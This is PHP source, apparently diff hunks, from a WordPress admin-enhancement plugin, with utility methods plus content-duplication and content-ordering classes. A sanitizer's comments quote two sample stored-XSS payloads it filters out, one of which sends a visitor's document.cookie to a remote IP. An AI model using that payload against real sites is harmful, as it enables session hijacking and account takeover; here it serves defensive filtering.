if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
return false;
}
if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) || false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) ) {
return true;
}
}
/**
* Convert number of seconds into hours, minutes, seconds. In use by at least the Limit Login Attempts feature.
*
* @since 2.5.0
*/
public function seconds_to_period( $seconds, $conversion_type ) {
$period_start = new \DateTime('@0');
$period_end = new \DateTime("@{$seconds}");
if ( $conversion_type == 'to-days-hours-minutes-seconds' ) {
return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
} elseif ( $conversion_type == 'to-hours-minutes-seconds' ) {
return $period_start->diff( $period_end )->format( '%h hours, %i minutes and %s seconds' );
} elseif ( $conversion_type == 'to-minutes-seconds' ) {
return $period_start->diff( $period_end )->format( '%i minutes and %s seconds' );
} else {
return $period_start->diff( $period_end )->format( '%a days, %h hours, %i minutes and %s seconds' );
}
}
/**
* Remove html tags and content inside the tags from a string
*
* @since 3.0.3
*/
public function strip_html_tags_and_content( $string ) {
// Strip HTML tags and content inside them. Ref: https://stackoverflow.com/a/39320168
if ( !is_null( $string ) ) {
if ( false === strpos( $string, 'fs-submenu-item' ) ) {
$string = preg_replace( '@<(\\w+)\\b.*?>.*?</\\1>@si', '', $string );
}
// Strip any remaining HTML or PHP tags
$string = strip_tags( $string );
}
return $string;
}
/**
* Extract readable text from a string that may contain HTML.
*
* Unlike strip_html_tags_and_content(), this method keeps the text inside tags,
* e.g. it will turn `<span><img ...>Paymattic</span>` into `Paymattic`.
*
* @since 8.0.2
*
* @param string|null $html A string that may contain HTML.
* @return string Readable plain text (may be empty).
*/
public function extract_readable_text_from_html( $html ) {
if ( null === $html ) {
return '';
}
$text = wp_strip_all_tags( (string) $html, true );
$charset = get_bloginfo( 'charset' );
if ( empty( $charset ) ) {
$charset = 'UTF-8';
}
$text = html_entity_decode( $text, ENT_QUOTES, $charset );
$text = preg_replace( '/\\s+/u', ' ', $text );
return trim( $text );
}
/**
* Get menu hidden by toggle
*
* @since 5.1.0
*/
public function get_menu_hidden_by_toggle() {
$menu_hidden_by_toggle = array();
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
if ( array_key_exists( 'custom_menu_hidden', $options ) ) {
$menu_hidden = $options['custom_menu_hidden'];
$menu_hidden = explode( ',', $menu_hidden );
$menu_hidden_by_toggle = array();
foreach ( $menu_hidden as $menu_id ) {
$menu_hidden_by_toggle[] = $this->restore_menu_item_id( $menu_id );
}
}
return $menu_hidden_by_toggle;
}
/**
* Get user capabilities for which the "Show All/Less" menu toggle should be shown for
*
* @since 5.1.0
*/
public function get_user_capabilities_to_show_menu_toggle_for() {
global $menu, $submenu;
$menu_always_hidden = array();
$user_capabilities_menus_are_hidden_for = array();
$menu_hidden_by_toggle = $this->get_menu_hidden_by_toggle();
// indexed array
foreach ( $menu as $menu_key => $menu_info ) {
foreach ( $menu_hidden_by_toggle as $hidden_menu_id ) {
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
$menu_item_id = $menu_info[2];
} else {
$menu_item_id = $menu_info[5];
}
if ( $menu_item_id == $hidden_menu_id ) {
$user_capabilities_menus_are_hidden_for[] = $menu_info[1];
}
}
}
$user_capabilities_menus_are_hidden_for = array_unique( $user_capabilities_menus_are_hidden_for );
return $user_capabilities_menus_are_hidden_for;
// indexed array
}
/**
* Transform menu item's ID
*
* @since 5.1.0
*/
public function transform_menu_item_id( $menu_item_id ) {
// Transform e.g. edit.php?post_type=page ==> edit__php___post_type____page
$menu_item_id_transformed = str_replace( array(
".",
"?",
"=/",
"=",
"&",
"/",
";"
), array(
"__",
"___",
"_______",
"____",
"_____",
"______",
"________"
), $menu_item_id );
return $menu_item_id_transformed;
}
/**
* Transform menu item's ID
*
* @since 5.1.0
*/
public function restore_menu_item_id( $menu_item_id_transformed ) {
// Transform e.g. edit__php___post_type____page ==> edit.php?post_type=page
$menu_item_id = str_replace( array(
"________",
"_______",
"______",
"_____",
"____",
"___",
"__"
), array(
";",
"=/",
"/",
"&",
"=",
"?",
"."
), $menu_item_id_transformed );
return $menu_item_id;
}
/**
* Sanitize hexedecimal numbers used for colors
*
* @link https://plugins.trac.wordpress.org/browser/bm-custom-login/trunk/bm-custom-login.php
* @param string $color Hex number to sanitize.
* @return string
*/
public function sanitize_hex_color( $color ) {
if ( '' === $color ) {
return '';
}
// Make sure the color starts with a hash.
$color = '#' . ltrim( $color, '#' );
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
return null;
}
/**
* Get the post ID of the most recent post in a custom post type
*
* @since 6.4.1
*/
public function get_most_recent_post_id( $post_type ) {
$args = array(
'post_type' => $post_type,
'posts_per_page' => 1,
'orderby' => 'date',
'order' => 'DESC',
);
$query = new WP_Query($args);
if ( $query->have_posts() ) {
$query->the_post();
$post_id = get_the_ID();
wp_reset_postdata();
return $post_id;
}
return 0;
// Return 0 if no posts found
}
/**
* Extended ruleset for wp_kses() that includes SVG tag and it's children
*
* @since 6.8.3
*/
public function get_kses_extended_ruleset() {
$kses_defaults = wp_kses_allowed_html( 'post' );
// For SVG icons
$svg_args = array(
'svg' => array(
'class' => true,
'aria-hidden' => true,
'aria-labelledby' => true,
'role' => true,
'xmlns' => true,
'width' => true,
'height' => true,
'viewbox' => true,
'viewBox' => true,
),
'g' => array(
'fill' => true,
'fill-rule' => true,
'stroke' => true,
'stroke-width' => true,
'stroke-linejoin' => true,
'stroke-linecap' => true,
),
'title' => array(
'title' => true,
),
'path' => array(
'd' => true,
'fill' => true,
'stroke' => true,
'stroke-width' => true,
'stroke-linejoin' => true,
'stroke-linecap' => true,
),
'rect' => array(
'width' => true,
'height' => true,
'x' => true,
'y' => true,
'rx' => true,
'ry' => true,
'fill' => true,
'stroke' => true,
'stroke-width' => true,
'stroke-linejoin' => true,
'stroke-linecap' => true,
),
'circle' => array(
'cx' => true,
'cy' => true,
'r' => true,
'stroke' => true,
'stroke-width' => true,
'stroke-linejoin' => true,
'stroke-linecap' => true,
),
);
$kses_with_extras = array_merge( $kses_defaults, $svg_args );
// For embedded PDF viewer
$style_script_args = array(
'style' => true,
'script' => array(
'src' => true,
),
);
return array_merge( $kses_with_extras, $style_script_args );
}
/**
* Get the singular label from a $post object
*
* @since 6.9.3
*/
function get_post_type_singular_label( $post ) {
$post_type_singular_label = '';
if ( property_exists( $post, 'post_type' ) ) {
$post_type_object = get_post_type_object( $post->post_type );
if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'label' ) ) {
$post_type_singular_label = $post_type_object->labels->singular_name;
}
}
return $post_type_singular_label;
}
function is_in_block_editor() {
$current_screen = get_current_screen();
if ( method_exists( $current_screen, 'is_block_editor' ) && $current_screen->is_block_editor() ) {
return true;
} else {
return false;
}
}
/**
* Check if WooCommerce is active
*
* @since 6.9.9
*/
public function is_woocommerce_active() {
if ( function_exists( 'is_plugin_active' ) && is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
return true;
} else {
return false;
}
}
/**
* Convert HEX color to RGBA
*
* @link https://stackoverflow.com/a/31934345
* @since 7.0.0
*/
public function hex_to_rgba( $hex, $alpha = false ) {
$hex = str_replace( '#', '', trim( $hex ) );
$length = strlen( $hex );
$rgb['r'] = hexdec( ( $length == 6 ? substr( $hex, 0, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 0, 1 ), 2 ) : 0 )) ) );
$rgb['g'] = hexdec( ( $length == 6 ? substr( $hex, 2, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 1, 1 ), 2 ) : 0 )) ) );
$rgb['b'] = hexdec( ( $length == 6 ? substr( $hex, 4, 2 ) : (( $length == 3 ? str_repeat( substr( $hex, 2, 1 ), 2 ) : 0 )) ) );
if ( false !== $alpha ) {
$rgb['a'] = $alpha;
}
// Return array of r, g, b and a
// return $rgb;
// Return rgb(255,255,255) or rgba(255,255,255,.5)
return implode( array_keys( $rgb ) ) . '(' . implode( ', ', $rgb ) . ')';
}
/**
* Increases or decreases the brightness of a color by a percentage of the current brightness.
*
* @param string $hex Supported formats: `#FFF`, `#FFFFFF`, `FFF`, `FFFFFF`
* @param float $adjustment_percentage A number between -1 and 1. E.g. 0.3 = 30% lighter; -0.4 = 40% darker.
*
* @return string
*
* @link https://stackoverflow.com/a/54393956
* @author maliayas
*/
function adjust_bnrightness( $hex, $adjustment_percentage ) {
$hex = ltrim( $hex, '#' );
if ( strlen( $hex ) == 3 ) {
$hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
}
$hex = array_map( 'hexdec', str_split( $hex, 2 ) );
foreach ( $hex as &$color ) {
$adjustableLimit = ( $adjustment_percentage < 0 ? $color : 255 - $color );
$adjustAmount = ceil( $adjustableLimit * $adjustment_percentage );
$color = str_pad(
dechex( $color + $adjustAmount ),
2,
'0',
STR_PAD_LEFT
);
}
return '#' . implode( $hex );
}
/**
* Detect if a color is light or dark
*
* @link https://stackoverflow.com/a/12228730
* @since 7.0.0
*/
public function is_color_dark( $hex ) {
$hex = str_replace( '#', '', trim( (string) $hex ) );
if ( 3 === strlen( $hex ) ) {
$hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
}
if ( 6 !== strlen( $hex ) || !ctype_xdigit( $hex ) ) {
return true;
}
$r = hexdec( substr( $hex, 0, 2 ) );
$g = hexdec( substr( $hex, 2, 2 ) );
$b = hexdec( substr( $hex, 4, 2 ) );
$lightness = (max( $r, $g, $b ) + min( $r, $g, $b )) / 510.0;
// HSL algorithm
return $lightness <= 0.8;
}
/**
* Return SVG for small triangle in place of using &#9654; HTMl character
* which may be converted to emoticon by the browser or app
*
* @since 7.2.0
*/
public function get_svg_triangle() {
return '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10" viewBox="0 0 16 16"><path fill="currentColor" d="M14.222 6.687a1.5 1.5 0 0 1 0 2.629l-10 5.499A1.5 1.5 0 0 1 2 13.5V2.502a1.5 1.5 0 0 1 2.223-1.314z"/></svg>';
}
/**
* Get intrinsic width/height dimensions from a local SVG file.
*
* Some SVGs use percentage width/height attributes (e.g. width="100%" height="100%").
* In those cases, a correct aspect ratio should be derived from the viewBox instead.
*
* @since 9.2.0
*
* @param string $svg_path Absolute path to a local SVG file.
* @return array{width:int,height:int} Intrinsic dimensions if known, otherwise 0/0.
*/
public function get_svg_intrinsic_dimensions_from_file( $svg_path ) {
$dims = array(
'width' => 0,
'height' => 0,
);
$svg_path = (string) $svg_path;
if ( '' === $svg_path ) {
return $dims;
}
$ext = strtolower( (string) pathinfo( $svg_path, PATHINFO_EXTENSION ) );
if ( 'svg' !== $ext ) {
return $dims;
}
if ( !file_exists( $svg_path ) ) {
return $dims;
}
// Safely parse SVG XML without allowing network access.
$prev_internal_errors = libxml_use_internal_errors( true );
$svg = simplexml_load_file( $svg_path, 'SimpleXMLElement', LIBXML_NONET | LIBXML_NOCDATA );
libxml_clear_errors();
libxml_use_internal_errors( $prev_internal_errors );
if ( false === $svg ) {
return $dims;
}
$attributes = $svg->attributes();
$width_raw = ( isset( $attributes->width ) ? trim( (string) $attributes->width ) : '' );
$height_raw = ( isset( $attributes->height ) ? trim( (string) $attributes->height ) : '' );
$view_box = ( isset( $attributes->viewBox ) ? trim( (string) $attributes->viewBox ) : '' );
$length_dims = $this->parse_svg_width_height_pair( $width_raw, $height_raw );
if ( $length_dims['width'] > 0 && $length_dims['height'] > 0 ) {
return $length_dims;
}
$vb_dims = $this->parse_svg_viewbox_dimensions( $view_box );
if ( $vb_dims['width'] > 0 && $vb_dims['height'] > 0 ) {
return $vb_dims;
}
return $dims;
}
/**
* Parse SVG width/height attributes when both values are absolute lengths.
*
* If either value is percentage-based (contains "%") or otherwise not parseable as an
* absolute length, return 0/0 so callers can fall back to viewBox.
*
* @since 9.2.0
*
* @param string $width_raw Raw `width` attribute value.
* @param string $height_raw Raw `height` attribute value.
* @return array{width:int,height:int}
*/
private function parse_svg_width_height_pair( $width_raw, $height_raw ) {
$dims = array(
'width' => 0,
'height' => 0,
);
$width_raw = (string) $width_raw;
$height_raw = (string) $height_raw;
if ( '' === $width_raw || '' === $height_raw ) {
return $dims;
}
// Percentage sizes are not intrinsic dimensions.
if ( false !== strpos( $width_raw, '%' ) || false !== strpos( $height_raw, '%' ) ) {
return $dims;
}
$width_parsed = $this->parse_svg_absolute_length_value( $width_raw );
$height_parsed = $this->parse_svg_absolute_length_value( $height_raw );
if ( empty( $width_parsed['value'] ) || empty( $height_parsed['value'] ) ) {
return $dims;
}
// Require matching units (treat empty as px) to avoid having to convert.
$width_unit = ( isset( $width_parsed['unit'] ) ? (string) $width_parsed['unit'] : '' );
$height_unit = ( isset( $height_parsed['unit'] ) ? (string) $height_parsed['unit'] : '' );
if ( $width_unit !== $height_unit ) {
return $dims;
}
$w = (float) $width_parsed['value'];
$h = (float) $height_parsed['value'];
if ( $w <= 0 || $h <= 0 ) {
return $dims;
}
$dims['width'] = (int) round( $w );
$dims['height'] = (int) round( $h );
return $dims;
}
/**
* Parse SVG viewBox dimensions.
*
* @since 9.2.0
*
* @param string $view_box Raw `viewBox` attribute value.
* @return array{width:int,height:int}
*/
private function parse_svg_viewbox_dimensions( $view_box ) {
$dims = array(
'width' => 0,
'height' => 0,
);
$view_box = trim( (string) $view_box );
if ( '' === $view_box ) {
return $dims;
}
$parts = preg_split( '/[\\s,]+/', $view_box );
if ( !is_array( $parts ) ) {
return $dims;
}
$parts = array_values( array_filter( $parts, 'strlen' ) );
if ( count( $parts ) < 4 ) {
return $dims;
}
$vb_w = floatval( $parts[2] );
$vb_h = floatval( $parts[3] );
if ( $vb_w <= 0 || $vb_h <= 0 ) {
return $dims;
}
$dims['width'] = (int) round( $vb_w );
$dims['height'] = (int) round( $vb_h );
return $dims;
}
/**
* Parse an SVG length attribute as an absolute value and unit.
*
* Supports unitless values and common absolute units used in SVG. Percentage values
* are rejected earlier by the caller.
*
* @since 9.2.0
*
* @param string $raw Raw attribute value.
* @return array{value:float,unit:string}|array{} Empty array if not parseable.
*/
private function parse_svg_absolute_length_value( $raw ) {
$raw = trim( (string) $raw );
if ( '' === $raw ) {
return array();
}
if ( !preg_match( '/^\\s*([0-9]*\\.?[0-9]+)\\s*(px|pt|pc|mm|cm|in|q)?\\s*$/i', $raw, $matches ) ) {
return array();
}
$value = floatval( $matches[1] );
if ( $value <= 0 ) {
return array();
}
$unit = ( isset( $matches[2] ) ? strtolower( (string) $matches[2] ) : '' );
// Normalize empty unit to px (SVG/CSS default).
if ( '' === $unit ) {
$unit = 'px';
}
return array(
'value' => $value,
'unit' => $unit,
);
}
/**
* Get an image URL from an ASE setting field, which could be an internal relative URL or an external URL
*
* @since 7.2.1
*/
public function get_image_url( $ase_settings_field_name ) {
$options = get_option( ASENHA_SLUG_U, array() );
if ( isset( $options[$ase_settings_field_name] ) ) {
if ( false === strpos( $options[$ase_settings_field_name], 'http' ) && false !== strpos( $options[$ase_settings_field_name], '/uploads/' ) ) {
$logo_image = content_url() . $options[$ase_settings_field_name];
} else {
// $maybe_valid_url = filter_var( $options['admin_logo_image'], FILTER_SANITIZE_URL );
$maybe_valid_url = sanitize_url( $options[$ase_settings_field_name], array('http', 'https') );
if ( false !== filter_var( $maybe_valid_url, FILTER_VALIDATE_URL ) ) {
$logo_image = $maybe_valid_url;
} else {
$logo_image = '';
}
}
} else {
$logo_image = '';
}
return $logo_image;
}
/**
* Get current URL, without query parameters and without trailing slash
* e.g. https://www.site.com/some-page
*
* @return string
*/
public function get_current_url() {
$output = '';
$url = (( is_ssl() ? 'https://' : 'http://' )) . sanitize_text_field( $_SERVER['HTTP_HOST'] ) . sanitize_text_field( $_SERVER['REQUEST_URI'] );
$url_parts = explode( '?', $url, 2 );
// limit to max of 2 elements with last element containing the rest of the string
if ( isset( $url_parts[0] ) ) {
$output = trim( $url_parts[0], '/' );
}
return ( $output ? urldecode( $output ) : '/' );
}
/**
* Get full URL, with query parameters
* e.g. https://www.site.com/some-page?param=value
*
* @link https://stackoverflow.com/a/6768831
* @since 7.8.18
*/
public function get_full_url() {
$full_url = (( empty( $_SERVER['HTTPS'] ) ? 'http' : 'https' )) . "://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
return $full_url;
}
/**
* Get array of elements with value of true
*
* @since 7.6.10
*/
public function get_array_of_keys_with_true_value( $array_with_true_false_values ) {
$array_of_keys_with_true_value = array();
if ( is_array( $array_with_true_false_values ) && count( $array_with_true_false_values ) > 0 ) {
foreach ( $array_with_true_false_values as $key => $value ) {
if ( $value ) {
$array_of_keys_with_true_value[] = $key;
}
}
return $array_of_keys_with_true_value;
} else {
return array();
// default, empty array
}
}
/**
* Sanitize user-submitted code from potential security vulnerabilities
*
* @since 7.8.7
*/
public function sanitize_html_js_css_code( $code ) {
$code_lines = explode( PHP_EOL, $code );
$sanitized_code_lines = array();
foreach ( $code_lines as $code_line ) {
if ( false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'document.cookie' ) ) {
// Do nothing. Do not include the code line in the sanitized code.
// Example of malicious code:
// 1. Stored XSS vulnerability: <script>new Image().src='http://10.5.7.89:8001/index.php?c='+document.cookie</script>
// This line of code will send cookies from users browser to a remote server for exploitation
} else {
if ( false !== strpos( $code_line, '<img' ) && false !== strpos( $code_line, 'src=' ) && false !== strpos( $code_line, 'onerror' ) ) {
// Do nothing. Do not include the code line in the sanitized code.
// Example of malicious code:
// 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
// This may entail account takeover backdoor
} else {
$sanitized_code_lines[] = $code_line;
}
}
}
$sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
return $sanitized_code;
}
/**
* Part of Disable Embeds module
* Remove all rewrite rules related to embeds.
* During deactivation / activation.
*
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
* @since 8.0.0
*
* @param array $rules WordPress rewrite rules.
* @return array Rewrite rules without embeds rules.
*/
public function disable_embeds_rewrites( $rules ) {
foreach ( $rules as $rule => $rewrite ) {
if ( false !== strpos( $rewrite, 'embed=true' ) ) {
unset($rules[$rule]);
}
}
return $rules;
}
/**
* Get an indexed array of public post type slug => label pairs
*
* @since 8.0.1
*/
public function get_public_post_type_slugs() {
$asenha_public_post_types = array();
$public_post_type_names = get_post_types( array(
'public' => true,
), 'names' );
foreach ( $public_post_type_names as $post_type_name ) {
$post_type_object = get_post_type_object( $post_type_name );
$asenha_public_post_types[$post_type_name] = $post_type_object->label;
}
asort( $asenha_public_post_types );
// sort by value, ascending
return $asenha_public_post_types;
}
}
@@ -0,0 +1,342 @@
<?php
namespace ASENHA\Classes;
use WP_Admin_Bar;
use WC_Admin_Duplicate_Product;
/**
* Class for Content Duplication module
*
* @since 6.9.5
*/
class Content_Duplication {
public $inapplicable_post_types = array(
'attachment',
// public
'asenha_code_snippet',
// public, ASE
'asenha_cpt',
// non-public, ASE
'asenha_ctax',
// non-public, ASE
'asenha_cfgroup',
// non-public, ASE
'asenha_options_page',
// non-public, ASE
'options_page_config',
// non-public, ASE
'revision',
// non-public
'nav_menu_item',
// non-public
'custom_css',
// non-public
'customize_changeset',
// non-public
'oembed_cache',
// non-public
'user_request',
// non-public
'wp_block',
// non-public
'wp_template',
// non-public
'wp_template_part',
// non-public
'wp_global_styles',
// non-public
'wp_navigation',
// non-public
'wp_font_family',
// non-public
'wp_font_face',
// non-public
'patterns_ai_data',
// non-public
'product_variation',
// non-public, WooCommerce
'shop_order',
// non-public, WooCommerce
'shop_order_refund',
// non-public, WooCommerce
'shop_coupon',
// non-public, WooCommerce
'shop_order_placehold',
// non-public, WooCommerce
// 'elementor_library', // public, Elementor -- not excluded as data is stored only in wp_posts and wp_postmeta
// 'e-landing-page', // public, Elementor -- not excluded as data is stored only in wp_posts and wp_postmeta
'elementor_snippet',
// non-public, Elementor
'elementor_font',
// non-public, Elementor
'elementor_icons',
// non-public, Elementor
'sfwd-assignment',
// public, LearnDash
'sfwd-certificates',
// public, LearnDash
'sfwd-courses',
// public, LearnDash
'sfwd-lessons',
// public, LearnDash
'sfwd-quiz',
// public, LearnDash
'sfwd-essays',
// public, LearnDash
'sfwd-topic',
// public, LearnDash
'sfwd-transactions',
// public, LearnDash
'sfwd-question',
// non-public, LearnDash
'ld-exam',
// non-public, LearnDash
'wfacp_checkout',
// public, FunnelKit Automation
'wffn_oty',
// public, FunnelKit Funnel Builder
'wffn_optin',
// public, FunnelKit Funnel Builder
'wffn_landing',
// public, FunnelKit Funnel Builder
'wffn_ty',
// public, FunnelKit Funnel Builder
'kadence_form',
// non-public, Kadence Blocks
'kadence_header',
// non-public, Kadence Blocks
'kadence_navigation',
// non-public, Kadence Blocks
'kadence_lottie',
// non-public, Kadence Blocks
'kadence_vector',
// non-public, Kadence Blocks
'kb_icon',
);
/**
* Enable duplication of pages, posts and custom posts
*
* @since 1.0.0
*/
public function duplicate_content() {
$original_post_id = intval( sanitize_text_field( $_REQUEST['post'] ) );
$allow_duplication = false;
if ( current_user_can( 'edit_post', $original_post_id ) ) {
$allow_duplication = true;
}
$nonce = sanitize_text_field( $_REQUEST['nonce'] );
if ( wp_verify_nonce( $nonce, 'asenha-duplicate-' . $original_post_id ) && $allow_duplication ) {
$original_post = get_post( $original_post_id );
$post_type = $original_post->post_type;
$common_methods = new Common_Methods();
$is_woocommerce_active = $common_methods->is_woocommerce_active();
if ( 'product' != $post_type || 'product' == $post_type && !$is_woocommerce_active ) {
// Set some attributes for the duplicate post
$new_post_title_suffix = __( 'DUPLICATE', 'admin-site-enhancements' );
$new_post_status = 'draft';
$current_user = wp_get_current_user();
$new_post_author_id = $current_user->ID;
// Create the duplicate post and store the ID
$args = array(
'comment_status' => $original_post->comment_status,
'ping_status' => $original_post->ping_status,
'post_author' => $new_post_author_id,
'post_content' => str_replace( '\\', "\\\\", $original_post->post_content ),
'post_excerpt' => $original_post->post_excerpt,
'post_parent' => $original_post->post_parent,
'post_password' => $original_post->post_password,
'post_status' => $new_post_status,
'post_title' => $original_post->post_title . ' (' . $new_post_title_suffix . ')',
'post_type' => $original_post->post_type,
'to_ping' => $original_post->to_ping,
'menu_order' => $original_post->menu_order,
);
$new_post_id = wp_insert_post( $args );
// Copy over the taxonomies
$original_taxonomies = get_object_taxonomies( $original_post->post_type );
if ( !empty( $original_taxonomies ) && is_array( $original_taxonomies ) ) {
foreach ( $original_taxonomies as $taxonomy ) {
$original_post_terms = wp_get_object_terms( $original_post_id, $taxonomy, array(
'fields' => 'slugs',
) );
wp_set_object_terms(
$new_post_id,
$original_post_terms,
$taxonomy,
false
);
}
}
$excluded_post_meta_keys = array();
// Copy over the post meta
$original_post_metas = get_post_meta( $original_post_id );
// all meta keys and the corresponding values
if ( !empty( $original_post_metas ) ) {
foreach ( $original_post_metas as $meta_key => $meta_values ) {
if ( !in_array( $meta_key, $excluded_post_meta_keys ) ) {
// Only copy over post meta that are not ASE custom fields. We will handle that later.
foreach ( $meta_values as $meta_value ) {
update_post_meta( $new_post_id, $meta_key, wp_slash( maybe_unserialize( $meta_value ) ) );
}
}
}
}
}
$options = get_option( ASENHA_SLUG_U, array() );
$duplication_redirect_destination = ( isset( $options['duplication_redirect_destination'] ) ? $options['duplication_redirect_destination'] : 'edit' );
switch ( $duplication_redirect_destination ) {
case 'edit':
// Redirect to edit screen of the duplicate post
wp_redirect( admin_url( 'post.php?action=edit&post=' . $new_post_id ) );
break;
case 'list':
// Redirect to list table of the corresponding post type of original post
if ( 'post' == $post_type ) {
wp_redirect( admin_url( 'edit.php' ) );
} else {
wp_redirect( admin_url( 'edit.php?post_type=' . $post_type ) );
}
break;
}
} else {
wp_die( 'You do not have permission to perform this action.' );
}
}
/**
* Add row action link to perform duplication in page/post list tables
*
* @since 1.0.0
*/
public function add_duplication_action_link( $actions, $post ) {
$duplication_link_locations = $this->get_duplication_link_locations();
$allow_duplication = $this->is_user_allowed_to_duplicate_content( $post );
$post_type = $post->post_type;
$post_type_is_duplicable = $this->is_post_type_duplicable( $post_type );
if ( $allow_duplication && $post_type_is_duplicable ) {
// Not WooCommerce product
if ( in_array( 'post-action', $duplication_link_locations ) ) {
$actions['asenha-duplicate'] = '<a href="admin.php?action=duplicate_content&amp;post=' . $post->ID . '&amp;nonce=' . wp_create_nonce( 'asenha-duplicate-' . $post->ID ) . '" title="' . __( 'Duplicate this as draft', 'admin-site-enhancements' ) . '">' . __( 'Duplicate', 'admin-site-enhancements' ) . '</a>';
}
}
return $actions;
}
/**
* Add admin bar duplicate link
*
* @since 6.3.0
*/
public function add_admin_bar_duplication_link( WP_Admin_Bar $wp_admin_bar ) {
global $pagenow, $post;
$duplication_link_locations = $this->get_duplication_link_locations();
$allow_duplication = $this->is_user_allowed_to_duplicate_content( $post );
if ( is_object( $post ) ) {
if ( property_exists( $post, 'post_type' ) ) {
$post_type = $post->post_type;
$inapplicable_post_types = array('attachment');
$post_type_is_duplicable = $this->is_post_type_duplicable( $post_type );
if ( $allow_duplication && $post_type_is_duplicable ) {
if ( 'post.php' == $pagenow && !in_array( $post_type, $inapplicable_post_types ) || is_singular() || is_front_page() && !is_home() ) {
if ( in_array( 'admin-bar', $duplication_link_locations ) ) {
$common_methods = new Common_Methods();
$post_type_singular_label = $common_methods->get_post_type_singular_label( $post );
$post_id = 0;
if ( is_front_page() && !is_home() ) {
$post_id = get_option( 'page_on_front' );
} else {
// if ( property_exists( $post, 'ID' ) ) {
$post_id = (int) $post->ID;
// } else {
// $post_id = 0;
// }
}
if ( $post_id > 0 ) {
$wp_admin_bar->add_menu( array(
'id' => 'duplicate-content',
'parent' => null,
'group' => null,
'title' => sprintf(
/* translators: %s is the singular label for the post type */
__( 'Duplicate %s', 'admin-site-enhancements' ),
$post_type_singular_label
),
'href' => admin_url( 'admin.php?action=duplicate_content&amp;post=' . $post_id . '&amp;nonce=' . wp_create_nonce( 'asenha-duplicate-' . $post_id ) ),
) );
}
}
}
}
}
}
}
/**
* Check at which locations duplication link should enabled
*
* @since 6.9.3
*/
public function get_duplication_link_locations() {
$options = get_option( ASENHA_SLUG_U, array() );
$duplication_link_locations = array('post-action', 'admin-bar');
return $duplication_link_locations;
}
/**
* Check if a user role is allowed to duplicate content
*
* @since 6.9.3
*/
public function is_user_allowed_to_duplicate_content( $post = null ) {
$allow_duplication = false;
if ( is_object( $post ) ) {
if ( property_exists( $post, 'ID' ) ) {
if ( current_user_can( 'edit_post', $post->ID ) ) {
$allow_duplication = true;
}
}
}
return $allow_duplication;
}
/**
* Check if the post type can be duplicated
*
* @since 6.9.7
*/
public function is_post_type_duplicable( $post_type ) {
$common_methods = new Common_Methods();
$asenha_public_post_types = $common_methods->get_public_post_type_slugs();
$inapplicable_post_types = $this->inapplicable_post_types;
$is_woocommerce_active = $common_methods->is_woocommerce_active();
$options = get_option( ASENHA_SLUG_U, array() );
$enable_duplication_on_post_types_type = 'only-on';
$asenha_public_post_types_slugs = array();
if ( is_array( $asenha_public_post_types ) ) {
foreach ( $asenha_public_post_types as $post_type_slug => $post_type_label ) {
// e.g. $post_type_slug is post,
$asenha_public_post_types_slugs[] = $post_type_slug;
}
}
$enable_duplication_on_post_types = ( isset( $options['enable_duplication_on_post_types'] ) ? $options['enable_duplication_on_post_types'] : array() );
$post_types_for_enable_duplication = array();
if ( !empty( $enable_duplication_on_post_types ) && count( $enable_duplication_on_post_types ) > 0 ) {
foreach ( $enable_duplication_on_post_types as $post_type_slug => $is_duplication_enabled ) {
if ( $is_duplication_enabled ) {
$post_types_for_enable_duplication[] = $post_type_slug;
}
}
} else {
$post_types_for_enable_duplication = $asenha_public_post_types_slugs;
}
if ( 'only-on' == $enable_duplication_on_post_types_type && in_array( $post_type, $post_types_for_enable_duplication ) && !in_array( $post_type, $inapplicable_post_types ) || 'except-on' == $enable_duplication_on_post_types_type && !in_array( $post_type, $post_types_for_enable_duplication ) && !in_array( $post_type, $inapplicable_post_types ) ) {
if ( 'product' != $post_type || 'product' == $post_type && !$is_woocommerce_active ) {
return true;
}
} else {
return false;
}
}
}
@@ -0,0 +1,592 @@
<?php
namespace ASENHA\Classes;
use WP_Query;
/**
* Class for Content Order module
*
* @since 6.9.5
*/
class Content_Order {
/**
* Whether to render featured image thumbnails on the "Order" admin page.
*
* Pro-only feature. Default is false to avoid rendering thumbnails for large lists.
*
* @var bool
*/
private $show_featured_thumbnails = false;
/**
* Add "Custom Order" sub-menu for post types
*
* @since 5.0.0
*/
public function add_content_order_submenu( $context ) {
$options = get_option( ASENHA_SLUG_U, array() );
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
$content_order_enabled_post_types = array();
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
if ( $is_custom_order_enabled ) {
$post_type_object = get_post_type_object( $post_type_slug );
if ( is_object( $post_type_object ) && property_exists( $post_type_object, 'labels' ) ) {
$post_type_name_plural = $post_type_object->labels->name;
if ( 'post' == $post_type_slug ) {
$hook_suffix = add_posts_page(
$post_type_name_plural . ' Order',
// Page title
__( 'Order', 'admin-site-enhancements' ),
// Menu title
'edit_others_posts',
// Capability required
'custom-order-posts',
// Menu and page slug
[$this, 'custom_order_page_output']
);
} else {
if ( 'sfwd-courses' == $post_type_slug ) {
// LearnDash LMS Courses
